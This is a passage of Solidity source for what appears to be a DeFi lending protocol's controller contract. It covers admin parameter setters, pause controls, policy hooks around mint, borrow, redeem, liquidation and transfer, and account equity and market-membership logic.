emit NewCloseFactor(_oldCloseFactorMantissa, _newCloseFactorMantissa);
}
/**
* @notice Sets liquidationIncentive
* @dev Admin function to set liquidationIncentive
* @param _newLiquidationIncentiveMantissa New liquidationIncentive scaled by 1e18
*/
function _setLiquidationIncentive(uint256 _newLiquidationIncentiveMantissa)
external
override
onlyOwner
{
require(
_newLiquidationIncentiveMantissa >=
liquidationIncentiveMinMantissa &&
_newLiquidationIncentiveMantissa <=
liquidationIncentiveMaxMantissa,
"Liquidation incentive invalid"
);
uint256 _oldLiquidationIncentiveMantissa = liquidationIncentiveMantissa;
liquidationIncentiveMantissa = _newLiquidationIncentiveMantissa;
emit NewLiquidationIncentive(
_oldLiquidationIncentiveMantissa,
_newLiquidationIncentiveMantissa
);
}
/**
* @notice Sets the collateralFactor for a iToken
* @dev Admin function to set collateralFactor for a iToken
* @param _iToken The token to set the factor on
* @param _newCollateralFactorMantissa The new collateral factor, scaled by 1e18
*/
function _setCollateralFactor(
address _iToken,
uint256 _newCollateralFactorMantissa
) external override onlyOwner {
_checkiTokenListed(_iToken);
require(
_newCollateralFactorMantissa <= collateralFactorMaxMantissa,
"Collateral factor invalid"
);
// Its value will be taken into account when calculate account equity
// Check if the price is available for the calculation
require(
IPriceOracle(priceOracle).getUnderlyingPrice(_iToken) != 0,
"Failed to set collateral factor, underlying price is unavailable"
);
Market storage _market = markets[_iToken];
uint256 _oldCollateralFactorMantissa = _market.collateralFactorMantissa;
_market.collateralFactorMantissa = _newCollateralFactorMantissa;
emit NewCollateralFactor(
_iToken,
_oldCollateralFactorMantissa,
_newCollateralFactorMantissa
);
}
/**
* @notice Sets the borrowFactor for a iToken
* @dev Admin function to set borrowFactor for a iToken
* @param _iToken The token to set the factor on
* @param _newBorrowFactorMantissa The new borrow factor, scaled by 1e18
*/
function _setBorrowFactor(address _iToken, uint256 _newBorrowFactorMantissa)
external
override
onlyOwner
{
_checkiTokenListed(_iToken);
require(
_newBorrowFactorMantissa > 0 &&
_newBorrowFactorMantissa <= borrowFactorMaxMantissa,
"Borrow factor invalid"
);
// Its value will be taken into account when calculate account equity
// Check if the price is available for the calculation
require(
IPriceOracle(priceOracle).getUnderlyingPrice(_iToken) != 0,
"Failed to set borrow factor, underlying price is unavailable"
);
Market storage _market = markets[_iToken];
uint256 _oldBorrowFactorMantissa = _market.borrowFactorMantissa;
_market.borrowFactorMantissa = _newBorrowFactorMantissa;
emit NewBorrowFactor(
_iToken,
_oldBorrowFactorMantissa,
_newBorrowFactorMantissa
);
}
/**
* @notice Sets the borrowCapacity for a iToken
* @dev Admin function to set borrowCapacity for a iToken
* @param _iToken The token to set the capacity on
* @param _newBorrowCapacity The new borrow capacity
*/
function _setBorrowCapacity(address _iToken, uint256 _newBorrowCapacity)
external
override
onlyOwner
{
_checkiTokenListed(_iToken);
Market storage _market = markets[_iToken];
uint256 oldBorrowCapacity = _market.borrowCapacity;
_market.borrowCapacity = _newBorrowCapacity;
emit NewBorrowCapacity(_iToken, oldBorrowCapacity, _newBorrowCapacity);
}
/**
* @notice Sets the supplyCapacity for a iToken
* @dev Admin function to set supplyCapacity for a iToken
* @param _iToken The token to set the capacity on
* @param _newSupplyCapacity The new supply capacity
*/
function _setSupplyCapacity(address _iToken, uint256 _newSupplyCapacity)
external
override
onlyOwner
{
_checkiTokenListed(_iToken);
Market storage _market = markets[_iToken];
uint256 oldSupplyCapacity = _market.supplyCapacity;
_market.supplyCapacity = _newSupplyCapacity;
emit NewSupplyCapacity(_iToken, oldSupplyCapacity, _newSupplyCapacity);
}
/**
* @notice Sets the pauseGuardian
* @dev Admin function to set pauseGuardian
* @param _newPauseGuardian The new pause guardian
*/
function _setPauseGuardian(address _newPauseGuardian)
external
override
onlyOwner
{
address _oldPauseGuardian = pauseGuardian;
require(
_newPauseGuardian != address(0) &&
_newPauseGuardian != _oldPauseGuardian,
"Pause guardian address invalid"
);
pauseGuardian = _newPauseGuardian;
emit NewPauseGuardian(_oldPauseGuardian, _newPauseGuardian);
}
/**
* @notice pause/unpause mint() for all iTokens
* @dev Admin function, only owner and pauseGuardian can call this
* @param _paused whether to pause or unpause
*/
function _setAllMintPaused(bool _paused)
external
override
checkPauser(_paused)
{
EnumerableSetUpgradeable.AddressSet storage _iTokens = iTokens;
uint256 _len = _iTokens.length();
for (uint256 i = 0; i < _len; i++) {
_setMintPausedInternal(_iTokens.at(i), _paused);
}
}
/**
* @notice pause/unpause mint() for the iToken
* @dev Admin function, only owner and pauseGuardian can call this
* @param _iToken The iToken to pause/unpause
* @param _paused whether to pause or unpause
*/
function _setMintPaused(address _iToken, bool _paused)
external
override
checkPauser(_paused)
{
_checkiTokenListed(_iToken);
_setMintPausedInternal(_iToken, _paused);
}
function _setMintPausedInternal(address _iToken, bool _paused) internal {
markets[_iToken].mintPaused = _paused;
emit MintPaused(_iToken, _paused);
}
/**
* @notice pause/unpause redeem() for all iTokens
* @dev Admin function, only owner and pauseGuardian can call this
* @param _paused whether to pause or unpause
*/
function _setAllRedeemPaused(bool _paused)
external
override
checkPauser(_paused)
{
EnumerableSetUpgradeable.AddressSet storage _iTokens = iTokens;
uint256 _len = _iTokens.length();
for (uint256 i = 0; i < _len; i++) {
_setRedeemPausedInternal(_iTokens.at(i), _paused);
}
}
/**
* @notice pause/unpause redeem() for the iToken
* @dev Admin function, only owner and pauseGuardian can call this
* @param _iToken The iToken to pause/unpause
* @param _paused whether to pause or unpause
*/
function _setRedeemPaused(address _iToken, bool _paused)
external
override
checkPauser(_paused)
{
_checkiTokenListed(_iToken);
_setRedeemPausedInternal(_iToken, _paused);
}
function _setRedeemPausedInternal(address _iToken, bool _paused) internal {
markets[_iToken].redeemPaused = _paused;
emit RedeemPaused(_iToken, _paused);
}
/**
* @notice pause/unpause borrow() for all iTokens
* @dev Admin function, only owner and pauseGuardian can call this
* @param _paused whether to pause or unpause
*/
function _setAllBorrowPaused(bool _paused)
external
override
checkPauser(_paused)
{
EnumerableSetUpgradeable.AddressSet storage _iTokens = iTokens;
uint256 _len = _iTokens.length();
for (uint256 i = 0; i < _len; i++) {
_setBorrowPausedInternal(_iTokens.at(i), _paused);
}
}
/**
* @notice pause/unpause borrow() for the iToken
* @dev Admin function, only owner and pauseGuardian can call this
* @param _iToken The iToken to pause/unpause
* @param _paused whether to pause or unpause
*/
function _setBorrowPaused(address _iToken, bool _paused)
external
override
checkPauser(_paused)
{
_checkiTokenListed(_iToken);
_setBorrowPausedInternal(_iToken, _paused);
}
function _setBorrowPausedInternal(address _iToken, bool _paused) internal {
markets[_iToken].borrowPaused = _paused;
emit BorrowPaused(_iToken, _paused);
}
/**
* @notice pause/unpause global transfer()
* @dev Admin function, only owner and pauseGuardian can call this
* @param _paused whether to pause or unpause
*/
function _setTransferPaused(bool _paused)
external
override
checkPauser(_paused)
{
_setTransferPausedInternal(_paused);
}
function _setTransferPausedInternal(bool _paused) internal {
transferPaused = _paused;
emit TransferPaused(_paused);
}
/**
* @notice pause/unpause global seize()
* @dev Admin function, only owner and pauseGuardian can call this
* @param _paused whether to pause or unpause
*/
function _setSeizePaused(bool _paused)
external
override
checkPauser(_paused)
{
_setSeizePausedInternal(_paused);
}
function _setSeizePausedInternal(bool _paused) internal {
seizePaused = _paused;
emit SeizePaused(_paused);
}
/**
* @notice pause/unpause all actions iToken, including mint/redeem/borrow
* @dev Admin function, only owner and pauseGuardian can call this
* @param _paused whether to pause or unpause
*/
function _setiTokenPaused(address _iToken, bool _paused)
external
override
checkPauser(_paused)
{
_checkiTokenListed(_iToken);
_setiTokenPausedInternal(_iToken, _paused);
}
function _setiTokenPausedInternal(address _iToken, bool _paused) internal {
Market storage _market = markets[_iToken];
_market.mintPaused = _paused;
emit MintPaused(_iToken, _paused);
_market.redeemPaused = _paused;
emit RedeemPaused(_iToken, _paused);
_market.borrowPaused = _paused;
emit BorrowPaused(_iToken, _paused);
}
/**
* @notice pause/unpause entire protocol, including mint/redeem/borrow/seize/transfer
* @dev Admin function, only owner and pauseGuardian can call this
* @param _paused whether to pause or unpause
*/
function _setProtocolPaused(bool _paused)
external
override
checkPauser(_paused)
{
EnumerableSetUpgradeable.AddressSet storage _iTokens = iTokens;
uint256 _len = _iTokens.length();
for (uint256 i = 0; i < _len; i++) {
address _iToken = _iTokens.at(i);
_setiTokenPausedInternal(_iToken, _paused);
}
_setTransferPausedInternal(_paused);
_setSeizePausedInternal(_paused);
}
/**
* @notice Sets Reward Distributor
* @dev Admin function to set reward distributor
* @param _newRewardDistributor new reward distributor
*/
function _setRewardDistributor(address _newRewardDistributor)
external
override
onlyOwner
{
address _oldRewardDistributor = rewardDistributor;
require(
_newRewardDistributor != address(0) &&
_newRewardDistributor != _oldRewardDistributor,
"Reward Distributor address invalid"
);
rewardDistributor = _newRewardDistributor;
emit NewRewardDistributor(_oldRewardDistributor, _newRewardDistributor);
}
/*********************************/
/******** Poclicy Hooks **********/
/*********************************/
/**
* @notice Hook function before iToken `mint()`
* Checks if the account should be allowed to mint the given iToken
* Will `revert()` if any check fails
* @param _iToken The iToken to check the mint against
* @param _minter The account which would get the minted tokens
* @param _mintAmount The amount of underlying being minted to iToken
*/
function beforeMint(
address _iToken,
address _minter,
uint256 _mintAmount
) external override {
_checkiTokenListed(_iToken);
Market storage _market = markets[_iToken];
require(!_market.mintPaused, "Token mint has been paused");
// Check the iToken's supply capacity, -1 means no limit
uint256 _totalSupplyUnderlying =
IERC20Upgradeable(_iToken).totalSupply().rmul(
IiToken(_iToken).exchangeRateStored()
);
require(
_totalSupplyUnderlying.add(_mintAmount) <= _market.supplyCapacity,
"Token supply capacity reached"
);
// Update the Reward Distribution Supply state and distribute reward to suppplier
IRewardDistributor(rewardDistributor).updateDistributionState(
_iToken,
false
);
IRewardDistributor(rewardDistributor).updateReward(
_iToken,
_minter,
false
);
}
/**
* @notice Hook function after iToken `mint()`
* Will `revert()` if any operation fails
* @param _iToken The iToken being minted
* @param _minter The account which would get the minted tokens
* @param _mintAmount The amount of underlying being minted to iToken
* @param _mintedAmount The amount of iToken being minted
*/
function afterMint(
address _iToken,
address _minter,
uint256 _mintAmount,
uint256 _mintedAmount
) external override {
_iToken;
_minter;
_mintAmount;
_mintedAmount;
}
/**
* @notice Hook function before iToken `redeem()`
* Checks if the account should be allowed to redeem the given iToken
* Will `revert()` if any check fails
* @param _iToken The iToken to check the redeem against
* @param _redeemer The account which would redeem iToken
* @param _redeemAmount The amount of iToken to redeem
*/
function beforeRedeem(
address _iToken,
address _redeemer,
uint256 _redeemAmount
) external override {
// _redeemAllowed below will check whether _iToken is listed
require(!markets[_iToken].redeemPaused, "Token redeem has been paused");
_redeemAllowed(_iToken, _redeemer, _redeemAmount);
// Update the Reward Distribution Supply state and distribute reward to suppplier
IRewardDistributor(rewardDistributor).updateDistributionState(
_iToken,
false
);
IRewardDistributor(rewardDistributor).updateReward(
_iToken,
_redeemer,
false
);
}
/**
* @notice Hook function after iToken `redeem()`
* Will `revert()` if any operation fails
* @param _iToken The iToken being redeemed
* @param _redeemer The account which redeemed iToken
* @param _redeemAmount The amount of iToken being redeemed
* @param _redeemedUnderlying The amount of underlying being redeemed
*/
function afterRedeem(
address _iToken,
address _redeemer,
uint256 _redeemAmount,
uint256 _redeemedUnderlying
) external override {
_iToken;
_redeemer;
_redeemAmount;
_redeemedUnderlying;
}
/**
* @notice Hook function before iToken `borrow()`
* Checks if the account should be allowed to borrow the given iToken
* Will `revert()` if any check fails
* @param _iToken The iToken to check the borrow against
* @param _borrower The account which would borrow iToken
* @param _borrowAmount The amount of underlying to borrow
*/
function beforeBorrow(
address _iToken,
address _borrower,
uint256 _borrowAmount
) external override {
_checkiTokenListed(_iToken);
Market storage _market = markets[_iToken];
require(!_market.borrowPaused, "Token borrow has been paused");
if (!hasBorrowed(_borrower, _iToken)) {
// Unlike collaterals, borrowed asset can only be added by iToken,
// rather than enabled by user directly.
require(msg.sender == _iToken, "sender must be iToken");
// Have checked _iToken is listed, just add it
_addToBorrowed(_borrower, _iToken);
}
// Check borrower's equity
(, uint256 _shortfall, , ) =
calcAccountEquityWithEffect(_borrower, _iToken, 0, _borrowAmount);
require(_shortfall == 0, "Account has some shortfall");
// Check the iToken's borrow capacity, -1 means no limit
uint256 _totalBorrows = IiToken(_iToken).totalBorrows();
require(
_totalBorrows.add(_borrowAmount) <= _market.borrowCapacity,
"Token borrow capacity reached"
);
// Update the Reward Distribution Borrow state and distribute reward to borrower
IRewardDistributor(rewardDistributor).updateDistributionState(
_iToken,
true
);
IRewardDistributor(rewardDistributor).updateReward(
_iToken,
_borrower,
true
);
}
/**
* @notice Hook function after iToken `borrow()`
* Will `revert()` if any operation fails
* @param _iToken The iToken being borrewd
* @param _borrower The account which borrowed iToken
* @param _borrowedAmount The amount of underlying being borrowed
*/
function afterBorrow(
address _iToken,
address _borrower,
uint256 _borrowedAmount
) external override {
_iToken;
_borrower;
_borrowedAmount;
}
/**
* @notice Hook function before iToken `repayBorrow()`
* Checks if the account should be allowed to repay the given iToken
* for the borrower. Will `revert()` if any check fails
* @param _iToken The iToken to verify the repay against
* @param _payer The account which would repay iToken
* @param _borrower The account which has borrowed
* @param _repayAmount The amount of underlying to repay
*/
function beforeRepayBorrow(
address _iToken,
address _payer,
address _borrower,
uint256 _repayAmount
) external override {
_checkiTokenListed(_iToken);
// Update the Reward Distribution Borrow state and distribute reward to borrower
IRewardDistributor(rewardDistributor).updateDistributionState(
_iToken,
true
);
IRewardDistributor(rewardDistributor).updateReward(
_iToken,
_borrower,
true
);
_payer;
_repayAmount;
}
/**
* @notice Hook function after iToken `repayBorrow()`
* Will `revert()` if any operation fails
* @param _iToken The iToken being repaid
* @param _payer The account which would repay
* @param _borrower The account which has borrowed
* @param _repayAmount The amount of underlying being repaied
*/
function afterRepayBorrow(
address _iToken,
address _payer,
address _borrower,
uint256 _repayAmount
) external override {
_checkiTokenListed(_iToken);
// Remove _iToken from borrowed list if new borrow balance is 0
if (IiToken(_iToken).borrowBalanceStored(_borrower) == 0) {
// Only allow called by iToken as we are going to remove this token from borrower's borrowed list
require(msg.sender == _iToken, "sender must be iToken");
// Have checked _iToken is listed, just remove it
_removeFromBorrowed(_borrower, _iToken);
}
_payer;
_repayAmount;
}
/**
* @notice Hook function before iToken `liquidateBorrow()`
* Checks if the account should be allowed to liquidate the given iToken
* for the borrower. Will `revert()` if any check fails
* @param _iTokenBorrowed The iToken was borrowed
* @param _iTokenCollateral The collateral iToken to be liqudate with
* @param _liquidator The account which would repay the borrowed iToken
* @param _borrower The account which has borrowed
* @param _repayAmount The amount of underlying to repay
*/
function beforeLiquidateBorrow(
address _iTokenBorrowed,
address _iTokenCollateral,
address _liquidator,
address _borrower,
uint256 _repayAmount
) external override {
// Tokens must have been listed
require(
iTokens.contains(_iTokenBorrowed) &&
iTokens.contains(_iTokenCollateral),
"Tokens have not been listed"
);
(, uint256 _shortfall, , ) = calcAccountEquity(_borrower);
require(_shortfall > 0, "Account does not have shortfall");
// Only allowed to repay the borrow balance's close factor
uint256 _borrowBalance =
IiToken(_iTokenBorrowed).borrowBalanceStored(_borrower);
uint256 _maxRepay = _borrowBalance.rmul(closeFactorMantissa);
require(_repayAmount <= _maxRepay, "Repay exceeds max repay allowed");
_liquidator;
}
/**
* @notice Hook function after iToken `liquidateBorrow()`
* Will `revert()` if any operation fails
* @param _iTokenBorrowed The iToken was borrowed
* @param _iTokenCollateral The collateral iToken to be seized
* @param _liquidator The account which would repay and seize
* @param _borrower The account which has borrowed
* @param _repaidAmount The amount of underlying being repaied
* @param _seizedAmount The amount of collateral being seized
*/
function afterLiquidateBorrow(
address _iTokenBorrowed,
address _iTokenCollateral,
address _liquidator,
address _borrower,
uint256 _repaidAmount,
uint256 _seizedAmount
) external override {
_iTokenBorrowed;
_iTokenCollateral;
_liquidator;
_borrower;
_repaidAmount;
_seizedAmount;
// Unlike repayBorrow, liquidateBorrow does not allow to repay all borrow balance
// No need to check whether should remove from borrowed asset list
}
/**
* @notice Hook function before iToken `seize()`
* Checks if the liquidator should be allowed to seize the collateral iToken
* Will `revert()` if any check fails
* @param _iTokenCollateral The collateral iToken to be seize
* @param _iTokenBorrowed The iToken was borrowed
* @param _liquidator The account which has repaid the borrowed iToken
* @param _borrower The account which has borrowed
* @param _seizeAmount The amount of collateral iToken to seize
*/
function beforeSeize(
address _iTokenCollateral,
address _iTokenBorrowed,
address _liquidator,
address _borrower,
uint256 _seizeAmount
) external override {
require(!seizePaused, "Seize has been paused");
// Markets must have been listed
require(
iTokens.contains(_iTokenBorrowed) &&
iTokens.contains(_iTokenCollateral),
"Tokens have not been listed"
);
// Sanity Check the controllers
require(
IiToken(_iTokenBorrowed).controller() ==
IiToken(_iTokenCollateral).controller(),
"Controller mismatch between Borrowed and Collateral"
);
// Update the Reward Distribution Supply state on collateral
IRewardDistributor(rewardDistributor).updateDistributionState(
_iTokenCollateral,
false
);
// Update reward of liquidator and borrower on collateral
IRewardDistributor(rewardDistributor).updateReward(
_iTokenCollateral,
_liquidator,
false
);
IRewardDistributor(rewardDistributor).updateReward(
_iTokenCollateral,
_borrower,
false
);
_seizeAmount;
}
/**
* @notice Hook function after iToken `seize()`
* Will `revert()` if any operation fails
* @param _iTokenCollateral The collateral iToken to be seized
* @param _iTokenBorrowed The iToken was borrowed
* @param _liquidator The account which has repaid and seized
* @param _borrower The account which has borrowed
* @param _seizedAmount The amount of collateral being seized
*/
function afterSeize(
address _iTokenCollateral,
address _iTokenBorrowed,
address _liquidator,
address _borrower,
uint256 _seizedAmount
) external override {
_iTokenBorrowed;
_iTokenCollateral;
_liquidator;
_borrower;
_seizedAmount;
}
/**
* @notice Hook function before iToken `transfer()`
* Checks if the transfer should be allowed
* Will `revert()` if any check fails
* @param _iToken The iToken to be transfered
* @param _from The account to be transfered from
* @param _to The account to be transfered to
* @param _amount The amount to be transfered
*/
function beforeTransfer(
address _iToken,
address _from,
address _to,
uint256 _amount
) external override {
// _redeemAllowed below will check whether _iToken is listed
require(!transferPaused, "Transfer has been paused");
// Check account equity with this amount to decide whether the transfer is allowed
_redeemAllowed(_iToken, _from, _amount);
// Update the Reward Distribution supply state
IRewardDistributor(rewardDistributor).updateDistributionState(
_iToken,
false
);
// Update reward of from and to
IRewardDistributor(rewardDistributor).updateReward(
_iToken,
_from,
false
);
IRewardDistributor(rewardDistributor).updateReward(_iToken, _to, false);
}
/**
* @notice Hook function after iToken `transfer()`
* Will `revert()` if any operation fails
* @param _iToken The iToken was transfered
* @param _from The account was transfer from
* @param _to The account was transfer to
* @param _amount The amount was transfered
*/
function afterTransfer(
address _iToken,
address _from,
address _to,
uint256 _amount
) external override {
_iToken;
_from;
_to;
_amount;
}
/**
* @notice Hook function before iToken `flashloan()`
* Checks if the flashloan should be allowed
* Will `revert()` if any check fails
* @param _iToken The iToken to be flashloaned
* @param _to The account flashloaned transfer to
* @param _amount The amount to be flashloaned
*/
function beforeFlashloan(
address _iToken,
address _to,
uint256 _amount
) external override {
// Flashloan share the same pause state with borrow
require(!markets[_iToken].borrowPaused, "Token borrow has been paused");
_checkiTokenListed(_iToken);
_to;
_amount;
// Update the Reward Distribution Borrow state
IRewardDistributor(rewardDistributor).updateDistributionState(
_iToken,
true
);
}
/**
* @notice Hook function after iToken `flashloan()`
* Will `revert()` if any operation fails
* @param _iToken The iToken was flashloaned
* @param _to The account flashloan transfer to
* @param _amount The amount was flashloaned
*/
function afterFlashloan(
address _iToken,
address _to,
uint256 _amount
) external override {
_iToken;
_to;
_amount;
}
/*********************************/
/***** Internal Functions *******/
/*********************************/
function _redeemAllowed(
address _iToken,
address _redeemer,
uint256 _amount
) private view {
_checkiTokenListed(_iToken);
// No need to check liquidity if _redeemer has not used _iToken as collateral
if (!accountsData[_redeemer].collaterals.contains(_iToken)) {
return;
}
(, uint256 _shortfall, , ) =
calcAccountEquityWithEffect(_redeemer, _iToken, _amount, 0);
require(_shortfall == 0, "Account has some shortfall");
}
/**
* @dev Check if _iToken is listed
*/
function _checkiTokenListed(address _iToken) private view {
require(iTokens.contains(_iToken), "Token has not been listed");
}
/*********************************/
/** Account equity calculation ***/
/*********************************/
/**
* @notice Calculates current account equity
* @param _account The account to query equity of
* @return account equity, shortfall, collateral value, borrowed value.
*/
function calcAccountEquity(address _account)
public
view
override
returns (
uint256,
uint256,
uint256,
uint256
)
{
return calcAccountEquityWithEffect(_account, address(0), 0, 0);
}
/**
* @dev Local vars for avoiding stack-depth limits in calculating account liquidity.
* Note that `iTokenBalance` is the number of iTokens the account owns in the collateral,
* whereas `borrowBalance` is the amount of underlying that the account has borrowed.
*/
struct AccountEquityLocalVars {
uint256 sumCollateral;
uint256 sumBorrowed;
uint256 iTokenBalance;
uint256 borrowBalance;
uint256 exchangeRateMantissa;
uint256 underlyingPrice;
uint256 collateralValue;
uint256 borrowValue;
}
/**
* @notice Calculates current account equity plus some token and amount to effect
* @param _account The account to query equity of
* @param _tokenToEffect The token address to add some additional redeeem/borrow
* @param _redeemAmount The additional amount to redeem
* @param _borrowAmount The additional amount to borrow
* @return account euqity, shortfall, collateral value, borrowed value plus the effect.
*/
function calcAccountEquityWithEffect(
address _account,
address _tokenToEffect,
uint256 _redeemAmount,
uint256 _borrowAmount
)
internal
view
virtual
returns (
uint256,
uint256,
uint256,
uint256
)
{
AccountEquityLocalVars memory _local;
AccountData storage _accountData = accountsData[_account];
// Calculate value of all collaterals
// collateralValuePerToken = underlyingPrice * exchangeRate * collateralFactor
// collateralValue = balance * collateralValuePerToken
// sumCollateral += collateralValue
uint256 _len = _accountData.collaterals.length();
for (uint256 i = 0; i < _len; i++) {
IiToken _token = IiToken(_accountData.collaterals.at(i));
_local.iTokenBalance = IERC20Upgradeable(address(_token)).balanceOf(
_account
);
_local.exchangeRateMantissa = _token.exchangeRateStored();
if (_tokenToEffect == address(_token) && _redeemAmount > 0) {
_local.iTokenBalance = _local.iTokenBalance.sub(_redeemAmount);
}
_local.underlyingPrice = IPriceOracle(priceOracle)
.getUnderlyingPrice(address(_token));
require(
_local.underlyingPrice != 0,
"Invalid price to calculate account equity"
);
_local.collateralValue = _local
.iTokenBalance
.mul(_local.underlyingPrice)
.rmul(_local.exchangeRateMantissa)
.rmul(markets[address(_token)].collateralFactorMantissa);
_local.sumCollateral = _local.sumCollateral.add(
_local.collateralValue
);
}
// Calculate all borrowed value
// borrowValue = underlyingPrice * underlyingBorrowed / borrowFactor
// sumBorrowed += borrowValue
_len = _accountData.borrowed.length();
for (uint256 i = 0; i < _len; i++) {
IiToken _token = IiToken(_accountData.borrowed.at(i));
_local.borrowBalance = _token.borrowBalanceStored(_account);
if (_tokenToEffect == address(_token) && _borrowAmount > 0) {
_local.borrowBalance = _local.borrowBalance.add(_borrowAmount);
}
_local.underlyingPrice = IPriceOracle(priceOracle)
.getUnderlyingPrice(address(_token));
require(
_local.underlyingPrice != 0,
"Invalid price to calculate account equity"
);
// borrowFactorMantissa can not be set to 0
_local.borrowValue = _local
.borrowBalance
.mul(_local.underlyingPrice)
.rdiv(markets[address(_token)].borrowFactorMantissa);
_local.sumBorrowed = _local.sumBorrowed.add(_local.borrowValue);
}
// Should never underflow
return
_local.sumCollateral > _local.sumBorrowed
? (
_local.sumCollateral - _local.sumBorrowed,
uint256(0),
_local.sumCollateral,
_local.sumBorrowed
)
: (
uint256(0),
_local.sumBorrowed - _local.sumCollateral,
_local.sumCollateral,
_local.sumBorrowed
);
}
/**
* @notice Calculate amount of collateral iToken to seize after repaying an underlying amount
* @dev Used in liquidation
* @param _iTokenBorrowed The iToken was borrowed
* @param _iTokenCollateral The collateral iToken to be seized
* @param _actualRepayAmount The amount of underlying token liquidator has repaied
* @return _seizedTokenCollateral amount of iTokenCollateral tokens to be seized
*/
function liquidateCalculateSeizeTokens(
address _iTokenBorrowed,
address _iTokenCollateral,
uint256 _actualRepayAmount
) external view virtual override returns (uint256 _seizedTokenCollateral) {
/* Read oracle prices for borrowed and collateral assets */
uint256 _priceBorrowed =
IPriceOracle(priceOracle).getUnderlyingPrice(_iTokenBorrowed);
uint256 _priceCollateral =
IPriceOracle(priceOracle).getUnderlyingPrice(_iTokenCollateral);
require(
_priceBorrowed != 0 && _priceCollateral != 0,
"Borrowed or Collateral asset price is invalid"
);
uint256 _valueRepayPlusIncentive =
_actualRepayAmount.mul(_priceBorrowed).rmul(
liquidationIncentiveMantissa
);
// Use stored value here as it is view function
uint256 _exchangeRateMantissa =
IiToken(_iTokenCollateral).exchangeRateStored();
// seizedTokenCollateral = valueRepayPlusIncentive / valuePerTokenCollateral
// valuePerTokenCollateral = exchangeRateMantissa * priceCollateral
_seizedTokenCollateral = _valueRepayPlusIncentive
.rdiv(_exchangeRateMantissa)
.div(_priceCollateral);
}
/*********************************/
/*** Account Markets Operation ***/
/*********************************/
/**
* @notice Returns the markets list the account has entered
* @param _account The address of the account to query
* @return _accountCollaterals The markets list the account has entered
*/
function getEnteredMarkets(address _account)
external
view
override
returns (address[] memory _accountCollaterals)
{
AccountData storage _accountData = accountsData[_account];
uint256 _len = _accountData.collaterals.length();
_accountCollaterals = new address[](_len);
for (uint256 i = 0; i < _len; i++) {
_accountCollaterals[i] = _accountData.collaterals.at(i);
}
}
/**
* @notice Add markets to `msg.sender`'s markets list for liquidity calculations
* @param _iTokens The list of addresses of the iToken markets to be entered
* @return _results Success indicator for whether each corresponding market was entered
*/
function enterMarkets(address[] calldata _iTokens)
external
override
returns (bool[] memory _results)
{
uint256 _len = _iTokens.length;
_results = new bool[](_len);
for (uint256 i = 0; i < _len; i++) {
_results[i] = _enterMarket(_iTokens[i], msg.sender);
}
}
/**
* @notice Only expect to be called by iToken contract.
* @dev Add the market to the account's markets list for liquidity calculations
* @param _account The address of the account to modify
*/
function enterMarketFromiToken(address _account)
external
override
{
require(
_enterMarket(msg.sender, _account),
"enterMarketFromiToken: Only can be called by a supported iToken!"
);
}
/**
* @notice Add the market to the account's markets list for liquidity calculations
* @param _iToken The market to enter
* @param _account The address of the account to modify
* @return True if entered successfully, false for non-listed market or other errors
*/
function _enterMarket(address _iToken, address _account)
internal
returns (bool)
{
// Market not listed, skip it
if (!iTokens.contains(_iToken)) {
return false;
}
// add() will return false if iToken is in account's market list
if (accountsData[_account].collaterals.add(_iToken)) {
emit MarketEntered(_iToken, _account);
}
return true;
}
/**
* @notice Returns whether the given account has entered the market
* @param _account The address of the account to check
* @param _iToken The iToken to check against
* @return True if the account has entered the market, otherwise false.
*/
function hasEnteredMarket(address _account, address _iToken)
external
view
override
returns (bool)
{
return accountsData[_account].collaterals.contains(_iToken);
}
/**
* @notice Remove markets from `msg.sender`'s collaterals for liquidity calculations
* @param _iTokens The list of addresses of the iToken to exit
* @return _results Success indicators for whether each corresponding market was exited
*/
function exitMarkets(address[] calldata _iTokens)
external
override
returns (bool[] memory _results)
{
uint256 _len = _iTokens.length;
_results = new bool[](_len);
for (uint256 i = 0; i < _len; i++) {
_results[i] = _exitMarket(_iTokens[i], msg.sender);
}
}
/**
* @notice Remove the market to the account's markets list for liquidity calculations
* @param _iToken The market to exit
* @param _account The address of the account to modify
* @return True if exit successfully, false for non-listed market or other errors
*/
function _exitMarket(address _iToken, address _account)
internal
returns (bool)
{
// Market not listed, skip it
if (!iTokens.contains(_iToken)) {
return true;
}
// Account has not entered this market, skip it
if (!accountsData[_account].collaterals.contains(_iToken)) {
return true;
}
// Get the iToken balance
uint256 _balance = IERC20Upgradeable(_iToken).balanceOf(_account);
// Check account's equity if all balance are redeemed
// which means iToken can be removed from collaterals
_redeemAllowed(_iToken, _account, _balance);
// Have checked account has entered market before
accountsData[_account].collaterals.remove(_iToken);
emit MarketExited(_iToken, _account);
return true;
}
/**
* @notice Returns the asset list the account has borrowed
* @param _account The address of the account to query
* @return _borrowedAssets The asset list the account has borrowed
*/
function getBorrowedAssets(address _account)
external
view
override
returns (address[] memory _borrowedAssets)
{
AccountData storage _accountData = accountsData[_account];
uint256 _len = _accountData.borrowed.length();
_borrowedAssets = new address[](_len);
for (uint256 i = 0; i < _len; i++) {
_borrowedAssets[i] = _accountData.borrowed.at(i);
}
}
/**
* @notice Add the market to the account's borrowed list for equity calculations
* @param _iToken The iToken of underlying to borrow
* @param _account The address of the account to modify
*/
function _addToBorrowed(address _account, address _iToken) internal {
// add() will return false if iToken is in account's market list
if (accountsData[_account].borrowed.add(_iToken)) {
emit BorrowedAdded(_iToken, _account);
}
}
/**
* @notice Returns whether the given account has borrowed the given iToken
* @param _account The address of the account to check
* @param _iToken The iToken to check against
* @return True if the account has borrowed the iToken, otherwise false.
*/
function hasBorrowed(address _account, address _iToken)
public
view
override
returns (bool)
{
return accountsData[_account].borrowed.contains(_iToken);
}
/**
* @notice Remove the iToken from the account's borrowed list
* @param _iToken The iToken to remove
* @param _account The address of the account to modify
*/
function _removeFromBorrowed(address _account, address _iToken) internal {
// remove() will return false if iToken does not exist in account's borrowed list
if (accountsData[_account].borrowed.remove(_iToken)) {
emit BorrowedRemoved(_iToken, _account);
}
}
/*********************************/
/****** General Information ******/
/*********************************/
/**
* @notice Return all of the iTokens
* @return _alliTokens The list of iToken addresses
*/
function getAlliTokens()
public
view
override
returns (address[] memory _alliTokens)
{
EnumerableSetUpgradeable.AddressSet storage _iTokens = iTokens;
uint256 _len = _iTokens.length();
_alliTokens = new address[](_len);
for (uint256 i = 0; i < _len; i++) {
_alliTokens[i] = _iTokens.at(i);
}
}
/**
* @notice Check whether a iToken is listed in controller
* @param _iToken The iToken to check for
* @return true if the iToken is listed otherwise false
*/
function hasiToken(address _iToken) public view override returns (bool) {
return iTokens.contains(_iToken);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
